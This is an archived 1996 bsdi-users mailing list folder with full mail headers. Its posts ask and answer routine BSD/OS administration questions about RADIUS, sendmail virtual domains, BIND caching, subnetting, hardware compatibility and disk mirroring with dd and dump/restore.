Auth-Type = System command. It appears this does not work since BSDI uses shadow passwords. So I downloaded the source removed the -DNOSHADOW password but when I go to make it, it is looking for a file called shadow.h. Is this on my system somewhere or is it supposed to be with the BSDI stuff? Thanks in advance for any help. --brian ---------- Brian Hess Network Administrator Phone: 412-391-4382 USA OnRamp Email: brian@usaor.net From VM Tue Nov 12 00:12:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1282" "Mon" "11" "November" "1996" "04:10:59" "" "BSDI Mail" "bsdimail@pcrealm.net" nil "36" "Re: Tracking Usage" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id DAA21629 for ; Mon, 11 Nov 1996 03:24:54 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id DAA01348 for bsdi-users-outgoing; Mon, 11 Nov 1996 03:12:35 -0500 (EST) Message-Id: <199611110812.DAA17653@home.pcrealm.net> Reply-To: "BSDI Mail" X-Mailer: Greg Wiktor's Registered PMMail 1.53 For OS/2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Precedence: bulk From: "BSDI Mail" Sender: owner-bsdi-users@lists.gateway.com To: "Matthew R. Sheahan" , "Mike Pistone" Cc: "bsdi-users@BSDI.COM" , "rossw@albury.net.au" Subject: Re: Tracking Usage Date: Mon, 11 Nov 96 04:10:59 On Sat, 9 Nov 1996 19:46:40 -0500 (EST), Matthew R. Sheahan wrote: >> I use a program called "trafshow". It takes the tcpdump info and gives >> you some good info, such as avg cps, bytes send, local address, remote >> address, basicly it shows all traffic. It works for me. > >Lovely piece of software, though the -r option doesn't seem to work. Got >any hints as to what the interactive commands are? The man page doesn't >mention them. > > | Matthew R. Sheahan | > | Crystal Palace Networking | > Hello there, I downloaded and attempted to compile trafshow 2.0, and I get the following error: Build library in /usr/home/internex/trafshow-2.0/lib shlicc2 -O2 -I../include -c interfaces.c In file included from interfaces.c:24: /usr/include/net/if_slvar.h:57: syntax error before `vjc_t' interfaces.c: In function `bpf_slip': interfaces.c:109: `SLIP_HDRLEN' undeclared (first use this function) interfaces.c:109: (Each undeclared identifier is reported only once interfaces.c:109: for each function it appears in.) *** Error code 1 Stop. *** Error code 1 this error pops up on two bsdi 2.1 machines that I have... can someone send me a compiled version of trafshow? or give me any clues of how to solve this problem? Thanks... Greg Wiktor Advantech From VM Tue Nov 12 00:12:47 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["364" "Mon" "11" "November" "1996" "03:34:03" "CST" "macgyver@ash.com" "macgyver@ash.com" nil "6" "BSDI on HP Netserver LC" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id EAA23758 for ; Mon, 11 Nov 1996 04:47:52 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id EAA01445 for bsdi-users-outgoing; Mon, 11 Nov 1996 04:34:18 -0500 (EST) Message-Id: <9611110334.S16848028@ash.com> Precedence: bulk From: macgyver@ash.com Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: BSDI on HP Netserver LC Date: Mon, 11 Nov 1996 03:34:03 CST Am I going to run into any surprises trying to install bsdi 2.1 on an HP Netserver LC? The HP has an embedded scsi controler by adaptech, which I believe is the AIC7870, but I could be wrong. What I am really asking is whether or not I'll be able to use the embedded controler with 2.1. I know you couldn't with 2.0. Any advice (helpful) would be apreciated. From VM Tue Nov 12 00:13:03 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["935" "" "6" "November" "1996" "13:20:40" "GMT" "Yehavi Bourvine" "yehavi@vms.huji.ac.il" nil "18" "One disk with DOS, other with BSDI - how to boot?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA00395 for ; Mon, 11 Nov 1996 08:59:15 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA01884 for bsdi-users-outgoing; Mon, 11 Nov 1996 08:50:55 -0500 (EST) Path: vixen.cso.uiuc.edu!cdc2.cdc.net!news.idt.net!psinntp!news.biu.ac.il!news.huji.ac.il!vms.huji.ac.il!yehavi Newsgroups: info.bsdi.users Organization: The Hebrew University of Jerusalem Lines: 17 Message-ID: <1996Nov6.132040@vms.huji.ac.il> NNTP-Posting-Host: kineret.huji.ac.il Precedence: bulk From: yehavi@vms.huji.ac.il (Yehavi Bourvine (58-4279)) Sender: owner-bsdi-users@lists.gateway.com Apparently-To: bsdi-users@lists.gateway.com Subject: One disk with DOS, other with BSDI - how to boot? Date: 6 Nov 96 13:20:40 GMT Hello, I have a PC with one disk running DOS. I would like to add a second disk which will have BSDi. How do I tell the PC which disk to boot? Shall I boot from a floppy and set /etc/boot.default on the floppy to point to the hard disk? Thanks, __Yehavi: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Yehavi Bourvine (4X6DD), Phone: +972-2-6585684, H Computation Center, H The Hebrew University of Jerusalem, H Givat-Ram, 91904 Jerusalem, Israel H H H Fax: +972-2-6527349 HH H H H Email: YEHAVI@VMS.HUJI.AC.IL H H =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= From VM Tue Nov 12 00:13:04 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1707" "Sun" "10" "November" "1996" "02:02:17" "-0500" "Rudy Amid" "rudy@hcl.com" nil "51" "Re: Virtual Domain Email" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA00402 for ; Mon, 11 Nov 1996 09:01:35 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA01868 for bsdi-users-outgoing; Mon, 11 Nov 1996 08:49:34 -0500 (EST) Message-Id: <199611100702.CAA02235@mailhub.hcl.com> X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Precedence: bulk From: "Rudy Amid" Sender: owner-bsdi-users@lists.gateway.com To: "Chris McGlasson" , Subject: Re: Virtual Domain Email Date: Sun, 10 Nov 1996 02:02:17 -0500 Ok, I got this from a colleague on IRC: Add these lines into your sendmail.cf: Kvirtual btree /etc/virtual.domain.db S98 # Use mailboxtable-database R$+ < @ $+ . > $: $1 < @ $2 > . R$+ < @ $+ > $* $: $(virtual $1@$2 $: $1 < @ $2 > $3 $) R$+ < @ $+ > $* $: $(virtual $2 $: $1 < @ $2 > $3 $) R$+ < @ $+ > . $: $1 < @ $2 . > Create the virtual.domain.db by using this command: makemap btree virtual.domain.db < virtual.txt You'll need to create the list of recipients in virtual.txt, for example: username@virtual.domain.com username@real.domain.com It works for my sendmail 8.7.5/6 on BSD/OS 2.1. Good luck! --- Rudy Amid (rudy@hcl.com), Systems "I'm IT!" Administrator NB: IMHO! >/` Hummingbird Communications, Ltd. 1 Sparks Ave. Toronto, Ont. __ " Canada. M2H 2W1. 416-496-2200 Fax 496-2207 [URL] http://www.hcl.com | PGP key fingerprint is on my home page at http://www.warped.com/~radix \_) ---------- > From: Chris McGlasson > To: bsdi-users@BSDI.COM > Subject: Virtual Domain Email > Date: Wednesday, November 06, 1996 9:18 PM > > I was wondering if it was necessary to configure the sendmail.cf file for > setting up virtual domain email addresses? I am having problems with > getting a domain to receive email from a remote site. > > I have MX files set up in my named DNS files, have added the domain to > the sendmail.cw, and I am able to send mail to the domain with my domain > but when it comes time to receive mail from a different domain, the mail > is rejected. > > Is there something I am leaving OUT? Any info would be greatly appreciated. > Thanks in advance. > > Chris From VM Tue Nov 12 00:13:04 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["291" "Sun" "10" "November" "1996" "20:39:30" "-0800" "Paul A. Vixie" "paul@vix.com" nil "10" "Re: UUCP" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA00407 for ; Mon, 11 Nov 1996 09:01:43 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA01878 for bsdi-users-outgoing; Mon, 11 Nov 1996 08:50:42 -0500 (EST) X-btw: vix.com is also gw.home.vix.com and vixie.sf.ca.us Organization: Vixie Enterprises Message-ID: References: <199611061435.IAA26490@ns.insolwwb.net> NNTP-Posting-Host: wisdom.home.vix.com In-reply-to: mgrommet@ns.insolwwb.net's message of 6 Nov 1996 07:53:30 -0800 Xref: vixie local.mail.bsdi.users:29651 Precedence: bulk From: paul@vix.com (Paul A Vixie) Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: UUCP Date: Sun, 10 Nov 1996 20:39:30 -0800 (PST) > I ended up using O'Reilly & Assc's Sendmail book... it helped alot > but was soooo big it almost presented too much information... Ahem. May I suggest ? -- Paul Vixie La Honda, CA "Illegitimibus non carborundum." pacbell!vixie!paul From VM Tue Nov 12 00:13:05 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1140" "Mon" "11" "November" "1996" "00:18:44" "-0600" "t-ning@coewl.cen.uiuc.edu" "t-ning@coewl.cen.uiuc.edu" nil "24" "Re: Can BSD/OS 3.0 address more then 256MB RAM?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA00674 for ; Mon, 11 Nov 1996 09:02:27 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA01891 for bsdi-users-outgoing; Mon, 11 Nov 1996 08:51:30 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Tao Sender: owner-bsdi-users@lists.gateway.com To: Jeff Campbell cc: bsdi-users@BSDI.COM Subject: Re: Can BSD/OS 3.0 address more then 256MB RAM? Date: Mon, 11 Nov 1996 00:18:44 -0600 (CST) > Does anyone know if 3.0 has the facility to address more than > 256MB of RAM? BSD/OS 3.0 is certainly capable of handling RAM more than 256MB. Since it's still a 32 bit OS and running on the Intel processor ( 80386 or higher ) with 32 bit addressing bus, the actual memory management capacity should be 4GB RAM. The basic underlying idea is same in all the operating system's memory management schemem. I know a group machine running IRIX has 1GB RAM when I worked at US Army. So the current BSD/OS 2.1 shouls also be able to handle more than 256MB RAM as long as you have the supported hardware, unless the rebuilt kernel has an upper limit. Regards Tao Tao Ning University of Illinois at Urbana-Champaign, IL. , U.S.A. Email:t-ning@uiuc.edu http://www.cen.uiuc.edu/~t-ning/ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \ / \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ From VM Tue Nov 12 00:13:06 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["293" "Sun" "10" "November" "1996" "01:14:11" "+0000" "Bob Distelhorst" "bobd@onetinc.com" nil "14" "cgi unable to open tmp file" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA00678 for ; Mon, 11 Nov 1996 09:02:39 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA01862 for bsdi-users-outgoing; Mon, 11 Nov 1996 08:49:15 -0500 (EST) Message-Id: <199611100615.BAA04827@onetinc.com> Comments: Authenticated sender is Reply-to: bobd@onetinc.com X-mailer: Pegasus Mail for Windows (v2.23) Precedence: bulk From: "Bob Distelhorst" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: cgi unable to open tmp file Date: Sun, 10 Nov 1996 01:14:11 +0000 I am running a cgi script that needs to open a tmp file for processing, i get temporary file opening error when i run it. You can see the test script error at URL: http://www/onetinc.com/~bobd/cgi-bin/test.html THANKS IN ADVANCE Bob Distelhorst bobd@onetinc.com http://www.onetinc.com From VM Tue Nov 12 00:13:06 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1574" "Sat" "9" "November" "1996" "19:22:25" "-0800" "Nazih Chamtie" "master@master.nayzak.com" nil "37" "RE: Virtual Domain Email" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA00682 for ; Mon, 11 Nov 1996 09:04:04 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA01846 for bsdi-users-outgoing; Mon, 11 Nov 1996 08:48:48 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Nazih Chamtie Sender: owner-bsdi-users@lists.gateway.com To: system operator cc: Jeffrey J Libman , "bsdi-users@BSDI.COM" , "'Chris McGlasson'" Subject: RE: Virtual Domain Email Date: Sat, 9 Nov 1996 19:22:25 -0800 (PST) On Fri, 8 Nov 1996, system operator wrote: > > yes, it is necessary to configure sendmail.cf. > > No, it is not. I've been running virtual domain for years Yes it is necessary... The guy wants his virtual domain owners to be able to send email and recieve email using their domain name and not the ISP's domain name. In order to do that you have to add some rules in the sendmail.cf and keep a databse of the user of the domains etc. > > check out my solution at: > > http://www.sinbad.wantabe.com/virtualmail This is a good resource, check it out. Chris if you have problems email me and I'll send you info on how to set it up. -Nazih ============================================================= | P.O.Box 568 | Nazih Chamtie | | Bellflower, CA 90707 | Systems Analyst | | U.S.A. | ---===---@@@---===--- | | E-Mail Address | B.S. Computer Science | | master@nayzak.com | Cal State Univ., Long Beach | |=============================================================| | Opinions expressed herein are mine and may not reflect | | those of my employer | |=============================================================| | "Life is like a pumpkin seed, it either breaks apart when | | you come to eat it, then you spit it out, or you do it | | right, and you enjoy what's inside" | | Nazih Chamtie | =======(c) 1996 by Nazih Chamtie, all rights reserved======== From VM Tue Nov 12 00:13:13 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["537" "Mon" "11" "November" "1996" "10:54:29" "-0400" "Jeff Campbell" "jacampbe@is2.dal.ca" nil "18" "Motherboard Rec" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA02337 for ; Mon, 11 Nov 1996 10:12:31 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id JAA02006 for bsdi-users-outgoing; Mon, 11 Nov 1996 09:57:35 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jeff Campbell Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Motherboard Rec Date: Mon, 11 Nov 1996 10:54:29 -0400 (AST) Hi all, just wondering what you reccommend for a Pentium 133/166/200 motherboard with 4 PCI and 3 or 4 ISA slots at the moment. Onboard IDE and serial/parallel. Pereferably with 6 SIMM slots instead of four. I've be interested in knowing what people are running under BSD/OS 2.1 especially in their news and web machines. Thanks. And is there a motherboard supplier you recommend? I've had good luck with Motherboards International out of AZ but I haven't dealt with them in over a year. Thanks. -- Jeff jacampbe@is2.dal.ca From VM Tue Nov 12 00:13:13 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["955" "Mon" "11" "November" "1996" "10:02:01" "-0500" "Ralph Huntington" "bsdi@mohawk.net" nil "20" "Re: BIND 4.9.3-P1 nslookup problem." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA02342 for ; Mon, 11 Nov 1996 10:13:23 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA02019 for bsdi-users-outgoing; Mon, 11 Nov 1996 10:04:31 -0500 (EST) In-Reply-To: <9611110459.AA18491@Sol.> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Ralph Huntington Sender: owner-bsdi-users@lists.gateway.com To: Dinesh Pullat cc: blast@broder.com, bsdi-users@lists.gateway.com Subject: Re: BIND 4.9.3-P1 nslookup problem. Date: Mon, 11 Nov 1996 10:02:01 -0500 (EST) > Well, both the boxes (2.1 BSDI and Solaris 2.5) are running as primary > name servers (they are boxes in entirely separate domains though). What I > was wondering is why do I get an A record for zephyr.grace.cri.nz as > 131.203.1.202 on the Solaris (I dunno the BIND ver on it) which I guess is > correct. And 131.203.1.5 on the BSDI 2.1 box (BIND 4.9.3-P1). I got the 202 address on a bsdi 2.1 box, but that is probably irrelevant. What has probably happened is that the name daemon on the bsdi box had just recently looked up that domain and cached the address. Then, before the data expired, the address was changed. A lookup by the bsdi box will still show the old address, while a nameserver that had not previously cached the data will show the new address. A kill -HUP to the bsdi named will result in new data being retrieved, or you could wait until the old data expires, after which the bsdi box will retrieve the current data. - Ralph From VM Tue Nov 12 00:13:16 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["636" "Mon" "11" "November" "1996" "07:34:49" "-0700" "Steven Freed" "sfreed@gilasoft.com" nil "23" "Re: RADIUS & BSDI" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA02641 for ; Mon, 11 Nov 1996 10:22:52 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA02057 for bsdi-users-outgoing; Mon, 11 Nov 1996 10:09:58 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Steven Freed Sender: owner-bsdi-users@lists.gateway.com To: Brian Hess cc: bsdi-users@BSDI.COM Subject: Re: RADIUS & BSDI Date: Mon, 11 Nov 1996 07:34:49 -0700 (MST) On Mon, 11 Nov 1996, Brian Hess wrote: > > I just upgraded to radius 2.0 on my BSDI 2.1 server and I am trying to > implent using the Auth-Type = System command. It appears this does not > work since BSDI uses shadow passwords. Works fine here out-of-the box. The Livingingston supplied binary works fine. There is something else wrong with your setup. > So I downloaded the source removed > the -DNOSHADOW password but when I go to make it, it is looking for a file > called shadow.h. Is this on my system somewhere or is it supposed to be > with the BSDI stuff? Nope. Dont use it. put the -DNOSHADOW back in. -- Steven. From VM Tue Nov 12 00:13:17 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["599" "Mon" "11" "November" "1996" "10:26:51" "-0500" "Mike Pelletier" "mikep@comshare.com" nil "19" "Re: Hard errors on IDE drive" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA02909 for ; Mon, 11 Nov 1996 10:25:35 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA02158 for bsdi-users-outgoing; Mon, 11 Nov 1996 10:27:14 -0500 (EST) Posted-Date: Mon, 11 Nov 1996 10:26:51 -0500 (EST) In-Reply-To: <199611110011.QAA24538@orange.metron.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Mike Pelletier Sender: owner-bsdi-users@lists.gateway.com To: Lou Katz cc: bsdi-users@BSDI.COM Subject: Re: Hard errors on IDE drive Date: Mon, 11 Nov 1996 10:26:51 -0500 (EST) On Sun, 10 Nov 1996, Lou Katz wrote: > I have started to get hard errors on one of my IDE drives: > > > Nov 10 15:59:03 orange kernel: wd2g: hard error reading fsbn 1961634 of 1961632- > 1961663 (wd2 bn 4084610; cn 4052 tn 3 sn 5) status 59 erro > r 40 > > Is it trying to access a block which is physically way out there? Is there > anything I can do about these? When I started getting those errors, my hard drive was completely fried within a span of two weeks. Get a full backup NOW and get a warranty replacement on your drive QUICKLY! -Mike Pelletier. From VM Tue Nov 12 00:13:19 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["693" "Mon" "11" "November" "1996" "10:21:29" "-0500" "Vivek Khera" "khera@kci.kcilink.com" nil "17" "Re: BIND 4.9.3-P1 nslookup problem. " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA03189 for ; Mon, 11 Nov 1996 10:42:27 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA02134 for bsdi-users-outgoing; Mon, 11 Nov 1996 10:21:51 -0500 (EST) Message-Id: <199611111521.KAA29300@kci.kciLink.com> In-reply-to: Your message of "Mon, 11 Nov 1996 15:59:57 +1100." <9611110459.AA18491@Sol.> Precedence: bulk From: Vivek Khera Sender: owner-bsdi-users@lists.gateway.com To: dinesh@newsnet.com.au (Dinesh Pullat) cc: BSDI Users Subject: Re: BIND 4.9.3-P1 nslookup problem. Date: Mon, 11 Nov 1996 10:21:29 -0500 I'm going to vote on another general DNS failure recently. For a couple of days last week, some of my domains from my DNS were visible to some sites, but not others, and my own domain, kciLink.com, was invisible to a handful of sites at various times during the day last wednesday. Sending email would bounce apparently randomly for "unknown host". This happened a couple of months ago, and it turned out to be one of the root name servers giving out bad answers. Check the bsdi-users archive for that. As for getting different answers from the same query on different servers... I don't know about that other than one has the wrong IP address cached or something like that. v. From VM Tue Nov 12 00:13:21 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["565" "Mon" "11" "November" "1996" "11:05:36" "-0500" "Bill Becker" "bbecker@futurecomm.com" nil "21" "Re: subnetting class c address" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA04274 for ; Mon, 11 Nov 1996 11:17:04 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA02241 for bsdi-users-outgoing; Mon, 11 Nov 1996 11:02:10 -0500 (EST) X-Authentication-Warning: flubber.futurecomm.com: bbecker owned process doing -bs In-Reply-To: <3.0.32.19961108172016.0069acfc@pop.ictech.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Bill Becker Sender: owner-bsdi-users@lists.gateway.com To: Bill Warner cc: Dean Anderson , bsdi-users@BSDI.COM Subject: Re: subnetting class c address Date: Mon, 11 Nov 1996 11:05:36 -0500 (EST) On Fri, 8 Nov 1996, Bill Warner wrote: > At 04:53 PM 11/8/96 -0400, Dean Anderson wrote: > > > >There is no difference. In the case of the class B, you can't use subnets > >130.211.255.x or 130.211.0.x. 130.211.255.255 should be delivered to all > >subnets. > > > >RFC 950 is even more direct: > > Yikes! RFC 950 is *old*. The world has changed a lot since then. Current > practice, per RFC 1812, is to use all definable subnets. RFC 1812 Maybe so, but you'd better make sure that subnet 0 will work with your client's setup. He might not read RFCs. From VM Tue Nov 12 00:13:23 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["834" "Mon" "11" "November" "1996" "09:21:30" "-0700" "Ryan Mooney" "ryan@pcslink.com" nil "17" "Re: Can BSD/OS 3.0 Do Multi Processors (was 256M)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA04566 for ; Mon, 11 Nov 1996 11:31:42 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA02300 for bsdi-users-outgoing; Mon, 11 Nov 1996 11:28:36 -0500 (EST) Message-Id: <199611111621.JAA25319@pcslink.com> In-Reply-To: from "Jason R. Mastaler" at Nov 10, 96 11:13:06 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Precedence: bulk From: Ryan Mooney Sender: owner-bsdi-users@lists.gateway.com To: jason@mastaler.com (Jason R. Mastaler) Cc: sfrost@user2.mnsinc.com, bsdi-users@BSDI.COM Subject: Re: Can BSD/OS 3.0 Do Multi Processors (was 256M) Date: Mon, 11 Nov 1996 09:21:30 -0700 (MST) I hope you'll have a spinlock(2) so I won't have to write my own like I did for *&@^%#$^%$#$@ AT&T SVr4 on Intel. That is REQUIRED if your doing much shared memory stuff (and don't want lots of pain & suffering). > On the MP front we have a "giant lock" kernel running on dual > Pentiums in our lab. MP development is one of the main priorities > for the next year. Development of an NFS lock manager is also a > high priority. ---------------------------------------------------------------------------- Ryan Mooney Phone (602)265-9188 PCSLink ryan@pcslink.com Fax (602)265-9357 Internet Services The world needs more bitter, twisted souls. It would be a much better place. ----------------------------------------------------------------------------- From VM Tue Nov 12 00:13:24 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["949" "Mon" "11" "November" "1996" "11:30:05" "-0500" "Sam Brown" "root@ns2.clever.net" nil "28" "Re: BIND 4.9.3-P1 nslookup problem. " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA04571 for ; Mon, 11 Nov 1996 11:32:01 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA02315 for bsdi-users-outgoing; Mon, 11 Nov 1996 11:31:48 -0500 (EST) In-Reply-To: <199611111521.KAA29300@kci.kciLink.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: Vivek Khera cc: Dinesh Pullat , BSDI Users Subject: Re: BIND 4.9.3-P1 nslookup problem. Date: Mon, 11 Nov 1996 11:30:05 -0500 (EST) You guys aren't using the buddy 4.9.3 still? I thought the phantom failures were connected to a memory bug in < .4 series. I'd suggest getting the latest bind in any case. Sam On Mon, 11 Nov 1996, Vivek Khera wrote: > I'm going to vote on another general DNS failure recently. For a > couple of days last week, some of my domains from my DNS were visible > to some sites, but not others, and my own domain, kciLink.com, was > invisible to a handful of sites at various times during the day last > wednesday. Sending email would bounce apparently randomly for "unknown > host". > > This happened a couple of months ago, and it turned out to be one of > the root name servers giving out bad answers. Check the bsdi-users > archive for that. > > As for getting different answers from the same query on different > servers... I don't know about that other than one has the wrong IP > address cached or something like that. > > v. > From VM Tue Nov 12 00:13:32 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1613" "Mon" "11" "November" "1996" "11:05:48" "-0600" "Raymond Jolin" "ray@intellisys.net" nil "64" "RE: Mirroring Hard Drives" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA06601 for ; Mon, 11 Nov 1996 12:50:05 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA02429 for bsdi-users-outgoing; Mon, 11 Nov 1996 12:31:23 -0500 (EST) Message-ID: <01BBCFC0.4FD8CF60@ray> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Precedence: bulk From: Raymond Jolin Sender: owner-bsdi-users@lists.gateway.com To: "'BSDI Users'" Subject: RE: Mirroring Hard Drives Date: Mon, 11 Nov 1996 11:05:48 -0600 I used the second software solution (B) and all worked ok except = ownership was changed on the mirror drive to root wheel on everything. = My mirror drive is on another machine so I use nfs to mount it. My = exports file is probably the problem=20 /bkroot -alldirs -maproot=3Droot xxx.xxx.xxx.xx What do I need to change? Thanks Ray ---------- From: Andrew Longsworth[SMTP:andrew@industries.net] Sent: Friday, November 08, 1996 4:03 PM To: Jacob M. Parnas Cc: bsdi-users@BSDI.COM Subject: Re: Mirroring Hard Drives At 9:44 AM -0500 11/8/96, Jacob M. Parnas wrote: >Couldn't you newfs or rm -rf the area that you mirror to right before = the >mirror? > >Jacob >--- That makes the mirror process a MUCH more processor/disk intensive task, and increases the amount of time an update would take. I have received = two solutions to software disk mirroring and a suggestion to use a hardware solution. Here are the two software solutions: A) Thanks to Gordon Henderson for this solution If both drives are the same size, then make sure thay both have the same labels, then dd if=3D/dev/wd0c of=3D/dev/wd2c bs=3D4096k will do the job nicely. B) Thanks to Bill Webb for this solution for the first time dump 0fu - / | ( cd /newroot; restore rf - ) and for each time period afterwards: dump 1fu - / | ( cd /newroot; restore rf - ) For the hardware option, I haven't had time to do a web search, but I'm confident that there is a solution out there for a low cost with a lot = of feature. Andrew 